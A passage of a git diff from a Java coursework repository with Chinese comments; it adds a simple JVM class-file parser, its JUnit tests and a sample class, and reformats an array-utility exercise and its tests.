+				StringBuilder buffer = new StringBuilder();
+				buffer.append("String #").append(info.getIndex());
+			}
+			
+			public void visitClassInfo(ClassInfo info){
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("Class #").append(info.getUtf8Index()).append(" ")
+				.append(info.getClassName());
+			}
+			
+			public void visitFieldRef(FieldRefInfo info){
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("FiledRef #").append(info.getClassInfoIndex()).append(" ")
+				.append(info.getNameAndTypeIndex());
+			}
+			
+			public void visitMethodRef(MethodRefInfo info){
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("MethodRef #").append(info.getClassInfoIndex()).append(" ").append(info.getParamAndReturnType());
+			}
+			
+			public void visitNameAndType(NameAndTypeInfo info){
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("NameAndType #").append(info.getIndex1()).append(" ").append(info.getIndex2());
+			}
+			
+			public void visitUTF8(UTF8Info info){
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("UTF8 #").append(info.getValue());
+			}
+		};
+		
+		for (int i=0;i<pool.getSize();i++){
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			constantInfo.accept(visistor);
+		}
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/test/ClassFileloaderTest.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..ce766190f3
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,264 @@
+package com.github.orajavac.coding2017.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.clz.ClassIndex;
+import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.constant.MethodRefInfo;
+import com.github.orajavac.coding2017.jvm.constant.NameAndTypeInfo;
+import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
+import com.github.orajavac.coding2017.jvm.field.Field;
+import com.github.orajavac.coding2017.jvm.loader.ClassFileLoader;
+import com.github.orajavac.coding2017.jvm.method.Method;
+
+public class ClassFileloaderTest {
+	private static final Object FULL_QUALIFIED_CLASS_NAME = null;
+	static String path1 = "bin";
+	static String path2 = "com.github.orajavac.coding2017.jvm.test.EmployeeV1";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.github.orajavac.coding2017.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.github.orajavac.coding2017.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1088, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.github.orajavac.coding2017.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(51, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+    
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+	
+	/**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/test/EmployeeV1.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..81d0ba0e20
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/test/EmployeeV1.java
@@ -0,0 +1,26 @@
+package com.github.orajavac.coding2017.jvm.test;
+
+public class EmployeeV1 {
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/util/Util.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/util/Util.java
new file mode 100644
index 0000000000..cd3db5e063
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/util/Util.java
@@ -0,0 +1,50 @@
+package com.github.orajavac.coding2017.jvm.util;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+	
+	public static Object[] parseOperNumToArray(String str){
+		String regEx = "\\d+|(\\*)|(\\+)|(-)|(/)";
+		Pattern pat = Pattern.compile(regEx);
+        Matcher mat = pat.matcher(str);
+        List<String> l = new ArrayList<String>();
+        while(mat.find()){
+           l.add(mat.group());
+        }
+        /*Object[] obj = l.toArray();
+        for (int i=0;i<obj.length;i++){
+			System.out.print(obj[i]+" ");
+		}*/
+		return l.toArray();
+	}
+	
+	public static String[] parseOperatorToArray(String str){
+		String[] array = str.split(" ");
+		return array;
+	}
+}
diff --git a/group02/727171008/.classpath b/group02/727171008/.classpath
index 3e0fb272a8..429701a6eb 100644
--- a/group02/727171008/.classpath
+++ b/group02/727171008/.classpath
@@ -3,5 +3,6 @@
 	<classpathentry kind="src" path="src"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
+	<classpathentry kind="lib" path="F:/jdom-2.0.6/jdom-2.0.6.jar"/>
 	<classpathentry kind="output" path="bin"/>
 </classpath>
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtil.java b/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtil.java
index d5cca25bf4..613163b38a 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtil.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtil.java
@@ -4,367 +4,236 @@
 
 import com.sun.xml.internal.bind.v2.runtime.unmarshaller.XsiNilLoader.Array;
 
-public class ArrayUtil 
-{
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin)
-	{	
-		if(origin == null || origin.length == 0)
-		{
-			return ;
-		}
-		
-		 for(int i=0, j = origin.length-1; i<j; i++, j--)
-		 {
-			 int t = origin[i];
-			 origin[i] = origin[j];
-			 origin[j] = t;
-		 }
+public class ArrayUtil {
+
+    /**
+     * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
+     * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+     * 
+     * @param origin
+     * @return
+     */
+    public void reverseArray(int[] origin) {
+	if (origin == null || origin.length == 0) {
+	    return;
 	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	
-	public int[] removeZero(int[] oldArray)
-	{	//传进空数组是返回空数组
-		if(oldArray == null)
-		{
-			return null;
-		}
-			
-		int count = 0; //统计非零元素个数
-		int b[] = new int[oldArray.length];
-		//先统计非零元素个数，并将非零元素存入一个和原数组同样大小的新数组
-		for(int i=0; i < oldArray.length; i++)
-		{
-			if(oldArray[i] != 0)
-			{
-				b[count++] = oldArray[i];
-			}	
-		}
-		//将非零元素copy到新数组
-		return Arrays.copyOf(b, count);
 
+	for (int i = 0, j = origin.length - 1; i < j; i++, j--) {
+	    int t = origin[i];
+	    origin[i] = origin[j];
+	    origin[j] = t;
 	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	
-	public int[] merge(int[] array1, int[] array2)
-	{   //当array1和array2都为空时，返回空
-		if(array1 == null)
-		{
-			return array2;
-		}
-		if(array2 == null)
-		{
-			return array1;
-		}
-		int[] newArray = new int[array1.length + array2.length];
-		//应该让a1，a2两个数组先进行比较 比较后插入元素
-		int i = 0;  //array1下标
-		int j = 0;	//array2下标
-		int count = 0;	//array3下标
-		while(i < array1.length && j < array2.length)
-		{
-			if(array1[i] < array2[j])
-			{
-				newArray[count++] = array1[i++];
-			}
-			else if(array1[i] > array2[j])
-			{
-				newArray[count++] = array2[j++];
-			}
-			else if(array1[i] == array2[j])
-			{
-				newArray[count++] = array2[j++];
-				i++;
-			}
-		}
-		while(i==array1.length && j<array2.length)
-		{
-			newArray[count++] = array2[j++];
-		}
-		while(j==array2.length && i<array1.length)
-		{
-			newArray[count++] = array1[i++];
-		}
-	
+    }
 
-		return  Arrays.copyOf(newArray, count);
+    /**
+     * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
+     * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
+     * 
+     * @param oldArray
+     * @return
+     */
+
+    public int[] removeZero(int[] oldArray) {
+
+	if (oldArray == null) {
+	    return null;
 	}
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 * @throws Exception 
-	 */
-	public int[] grow(int [] oldArray,  int size)
-	{
-		if(oldArray == null)
-		{
-			return null;
-		}
-		if(size < 0)
-			throw new IndexOutOfBoundsException("size小于0");
-		int[] newArray = new int[oldArray.length + size];
-		System.arraycopy(oldArray, 0, newArray, 0, oldArray.length);
-		return newArray;
+
+	int count = 0; // 统计非零元素个数
+	int b[] = new int[oldArray.length];
+	// 先统计非零元素个数，并将非零元素存入一个和原数组同样大小的新数组
+	for (int i = 0; i < oldArray.length; i++) {
+	    if (oldArray[i] != 0) {
+		b[count++] = oldArray[i];
+	    }
 	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max)
-	{	
-		if(max == 1)
-		{
-			return new int[0];
-		}
-		if(max == 2)
-		{
-			return new int[] {1, 1};
-		}
-		//先将max设置为数组长度,但会浪费空间
-		int[] a = new int[max];
-		a[0] = 1;
-		a[1] = 1;
-		int count = 2;
-		for(int i=2; i<max; i++)
-		{
-			a[i] = a[i-1] + a[i-2];
-			if(a[i] >= max)
-			{
-				break;
-			}
-			else
-			{
-				count++;
-			}
-		}
-			
-		return Arrays.copyOf(a, count);
+	// 将非零元素copy到新数组
+	return Arrays.copyOf(b, count);
+
+    }
+
+    /**
+     * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
+     * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
+     * 
+     * @param array1
+     * @param array2
+     * @return
+     */
+
+    public int[] merge(int[] array1, int[] array2) {
+	if (array1 == null) {
+	    return array2;
 	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max)
-	{
-		/*
-		 * 思路：先生成素数数组，数组的最大值小于max  
-		 */
-		//max小于3时，返回空数组
-		if(max < 3)
-		{
-			return new int[0];
-		}
-		int[] array = new int[max];
-		int count = 0;  
+	if (array2 == null) {
+	    return array1;
+	}
+	int[] newArray = new int[array1.length + array2.length];
+	// 应该让a1，a2两个数组先进行比较 比较后插入元素
+	int i = 0; // array1下标
+	int j = 0; // array2下标
+	int count = 0; // array3下标
+	while (i < array1.length && j < array2.length) {
+	    if (array1[i] < array2[j]) {
+		newArray[count++] = array1[i++];
+	    } else if (array1[i] > array2[j]) {
+		newArray[count++] = array2[j++];
+	    } else if (array1[i] == array2[j]) {
+		newArray[count++] = array1[i++] = array2[j++];
+	    }
+	}
+	while (j == array2.length && i < array1.length) {
+	    newArray[count++] = array1[i++];
+	}
+	while (i == array1.length && j < array2.length) {
+	    newArray[count++] = array2[j++];
+	}
+	return Arrays.copyOf(newArray, count);
+    }
 
-		for(int n = 2; n < max; n++)
-		{
-			if(isPrime(n))
-			{
-				array[count++] = n;
-			}
-		}
-		
-		return Arrays.copyOf(array, count);
+    /**
+     * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+     * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+     * [2,3,6,0,0,0]
+     * 
+     * @param oldArray
+     * @param size
+     * @return
+     * @throws Exception
+     */
+    public int[] grow(int[] oldArray, int size) {
+	if (oldArray == null) {
+	    return null;
 	}
+	if (size < 0) {
+	    throw new IndexOutOfBoundsException("size小于0");
+	}
+	int[] newArray = new int[oldArray.length + size];
+	System.arraycopy(oldArray, 0, newArray, 0, oldArray.length);
+	return newArray;
+    }
 
-	private boolean isPrime(int n)
-	{
-		//判断当前n是不是素数
-		int i = 2;
-		while(i < n)  
-		{
-			if(n % i == 0)
-				break;
-			if(n % i != 0)
-				i++;
-		}
-		return i == n;
+    /**
+     * 斐波那契数列为：1，1，2，3，5，8，13，21...... ，给定一个最大值， 返回小于该值的数列 例如， max = 15 ,
+     * 则返回的数组应该为 [1，1，2，3，5，8，13] max = 1, 则返回空数组 []
+     * 
+     * @param max
+     * @return
+     */
+    public int[] fibonacci(int max) {
+	if (max == 1) {
+	    return new int[0];
 	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max)
-	{	
-		if(max < 0)
-		{
-			return null;
-		}
-		int[] array = new int[max];
-		int count = 0;
-		
-		for(int n = 2; n < max; n++)
-		{
-			int sum = 0;
-			for(int i=1; i<n; i++)
-			{
-				if(n%i == 0)
-					sum += i;
-			}
-			if(sum == n)
-			{
-				array[count++] = n;
-			}
-		}
-		
-		return Arrays.copyOf(array, count);
+	if (max == 2) {
+	    return new int[] { 1, 1 };
+	}
+	// 先将max设置为数组长度,但会浪费空间
+	int[] a = new int[max];
+	a[0] = 1;
+	a[1] = 1;
+	int count = 2;
+	for (int i = 2; i < max; i++) {
+	    a[i] = a[i - 1] + a[i - 2];
+	    if (a[i] >= max) {
+		break;
+	    } else {
+		count++;
+	    }
 	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
+
+	return Arrays.copyOf(a, count);
+    }
+
+    /**
+     * 返回小于给定最大值max的所有素数数组 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+     * 
+     * @param max
+     * @return
+     */
+    public int[] getPrimes(int max) {
+	/*
+	 * 思路：先生成素数数组，数组的最大值小于max
 	 */
-	public String join(int[] array, String seperator)
-	{
-		if(array == null )
-		{
-			return null;
-		}
-		if(array.length == 0)
-		{
-			return "";
-		}
-		
-		StringBuilder buffer = new StringBuilder();
-		for(int i=0; i<array.length; i++)
-		{
-			buffer.append(array[i]);
-			if(i < array.length -1)
-			{
-				buffer.append(seperator);
-			}
-		}
-	 
-		return buffer.toString();
+	// max小于3时，返回空数组
+	if (max < 3) {
+	    return new int[0];
 	}
-	
- 
-	public static void main(String[] args)
-	{
-		/*  reverseArray()
-		 * 
-		 *
-		int[] a = {1, 2,1, 3, 5, 6};
-		reverseArray(a);
-		for(int i=0; i<a.length; i++)
-		{
-			System.out.print(a[i] + " ");
-		}
-		*/
-		
-		
-		/* removeZero()
-		 * 
-		 * 
-		int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5, 7, 8}; 
-		int[] a = removeZero(oldArr);
-		for(int i=0; i<a.length; i++)
-		{
-			System.out.print(a[i] + " ");
-		}
-		*/
-		
-		
-		/* merge()
-		 * 
-		 * 
-		 int[] a1 = {3, 5, 7, 8, 9};
-		 int[] a2 = {1, 2, 3, 4, 5, 6, 7};
-		 int[] a3 = merge(a1, a2);
-		 for(int i=0; i<a3.length; i++)
-		 {
-			 System.out.print(a3[i] + " ");
-		 }
-		 */
-		
-		/* grow()
-		 * 
-		 *
-		int[] a = new int[0];//{3, 5, 7, 8, 9};
-		int[] newArray = grow(a, -3);
-		for(int i=0; i<newArray.length; i++)
-		{
-			System.out.print(newArray[i] + " ");
-		}
-		*/
-		
-		/* fibonacci()
-		 *
-		int[] array =  fibonacci(35);
-		for(int i=0; i<array.length; i++)
-		{
-			System.out.print(array[i] + " ");
-		}
-		*/
-		
-		/* getPrimes()
-		 *
-		int[] array =  getPrimes(2);
-		for(int i=0; i<array.length; i++)
-		{
-			System.out.print(array[i] + " ");
-		}
-		*/
-		
-		/*  getPerfectNumbers()
-		 *
-		int[] array =  getPerfectNumbers(10000);
-		for(int i=0; i<array.length; i++)
-		{
-			System.out.print(array[i] + " ");
-		}
-		*/
-		
-		/*  join()
-		 *
-		int[] Array = {3, 5, 7, 8, 9};
-		int[] array = {};
-		String s = join(array, "-");
-		System.out.println(s);
-		*/
-		 
+	int[] array = new int[max];
+	int count = 0;
+
+	for (int n = 2; n < max; n++) {
+	    if (isPrime(n)) {
+		array[count++] = n;
+	    }
+	}
+
+	return Arrays.copyOf(array, count);
+    }
+
+    private boolean isPrime(int n) {
+	// 判断当前n是不是素数
+	int i = 2;
+	while (i < n) {
+	    if (n % i == 0)
+		break;
+	    if (n % i != 0)
+		i++;
+	}
+	return i == n;
+    }
+
+    /**
+     * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+     * 
+     * @param max
+     * @return
+     */
+    public int[] getPerfectNumbers(int max) {
+	if (max < 0) {
+	    return null;
+	}
+	int[] array = new int[max];
+	int count = 0;
+
+	for (int n = 2; n < max; n++) {
+	    int sum = 0;
+	    for (int i = 1; i < n; i++) {
+		if (n % i == 0) {
+		    sum += i;
+		}
+	    }
+	    if (sum == n) {
+		array[count++] = n;
+	    }
+	}
+
+	return Arrays.copyOf(array, count);
+    }
+
+    /**
+     * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
+     * 
+     * @param array
+     * @param s
+     * @return
+     */
+    public String join(int[] array, String seperator) {
+	if (array == null) {
+	    return null;
+	}
+	if (array.length == 0) {
+	    return "";
+	}
+
+	StringBuilder buffer = new StringBuilder();
+	for (int i = 0; i < array.length; i++) {
+	    buffer.append(array[i]);
+	    if (i < array.length - 1) {
+		buffer.append(seperator);
+	    }
 	}
 
+	return buffer.toString();
+    }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtilTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtilTest.java
index eebdd44a96..a258cdbcf5 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtilTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtilTest.java
@@ -9,156 +9,145 @@
 
 import com.github.HarryHook.coding2017.array.ArrayUtil;
 
-public class ArrayUtilTest
-{
-	private ArrayUtil myArray;
-	
-	@Before
-	public void setUp() throws Exception
-	{
-		myArray = new ArrayUtil();
-	}
-
-	@Test
-	public void testReverseArray()
-	{
-		int[] a = {1, 2, 1, 3, 5, 6};
-		int[] b = {6, 5, 3, 1, 2, 1};
-				
-		myArray.reverseArray(a);
-		assertArrayEquals(a, b);
-		
-		int[] c = new int[0];
-		myArray.reverseArray(c);
-		assertArrayEquals(c, new int[0]);
-
-	}
-
-	@Test
-	public void testRemoveZero()
-	{
-		int[] oldArr= {1, 3, 4, 5, 0, 0, 6, 6, 0, 5, 4, 7, 6, 7, 1, 2, 0, 5};
-		int b[] = {1, 3, 4, 5, 6, 6, 5, 4, 7, 6, 7, 1, 2, 5};  
-		int[] c = myArray.removeZero(oldArr);
-		assertArrayEquals(b, c);
-		
-		int[] d = null;
-		int[] e = myArray.removeZero(d);
-		assertNull(e);
-		
-	}
-
-	@Test
-	public void testMerge()
-	{
-		int a1[] = {1, 2, 3, 4, 5};
-		int b1[] = {3, 4, 5, 6, 7, 8};
-		int c1[] = {1, 2, 3, 4, 5, 6, 7, 8};
-		int[] newArray1 = myArray.merge(a1, b1);
-		assertArrayEquals(c1, newArray1);
-		
-		int a2[] = new int[0];
-		int b2[] = {0, 2, 3, 6, 7, 8};
-		int c2[] = {0, 2, 3, 6, 7, 8};
-		int[] newArray2 = myArray.merge(a2, b2);
-		assertArrayEquals(c2, newArray2);
-		
-		int a3[] = {0, 2, 3, 6, 7, 8};
-		int b3[] = new int[0];
-		int c3[] = {0, 2, 3, 6, 7, 8};
-		int[] newArray3 = myArray.merge(a3, b3);
-		assertArrayEquals(c3, newArray3);
-		
-		int[] a4 = null;
-		int[] b4 = null;
-		int[] newArray4 = myArray.merge(a4, b4);
-		assertNull(newArray4);
-	}
-
-	@Rule  
-	public ExpectedException expectedEx = ExpectedException.none(); 
-	
-	@Test
-	public void testGrow()
-	{
-		int[] a = {3, 5, 7, 8, 9};
-		int[] b = {3, 5, 7, 8, 9, 0, 0, 0};
-		int[] newArray = myArray.grow(a, 3);
-		assertArrayEquals(b, newArray);
-		
-		int[] c = null;
-		int[] newArray1 = myArray.grow(c, 3);
-		assertNull(newArray1);
-		
-		// size < 0 抛出异常
-		expectedEx.expect(Exception.class);
-		myArray.grow(a, -3);
-	}
-	
-	@Test
-	public void testFibonacci()
-	{
-		//max == 1时返回空数组
-		int[] array1 =  myArray.fibonacci(1);
-		int[] b = new int[0];
-		assertArrayEquals(array1, b);
-		
-		
-		int[] array2=  myArray.fibonacci(35);
-		int[] c = {1, 1, 2, 3, 5, 8, 13, 21, 34 };
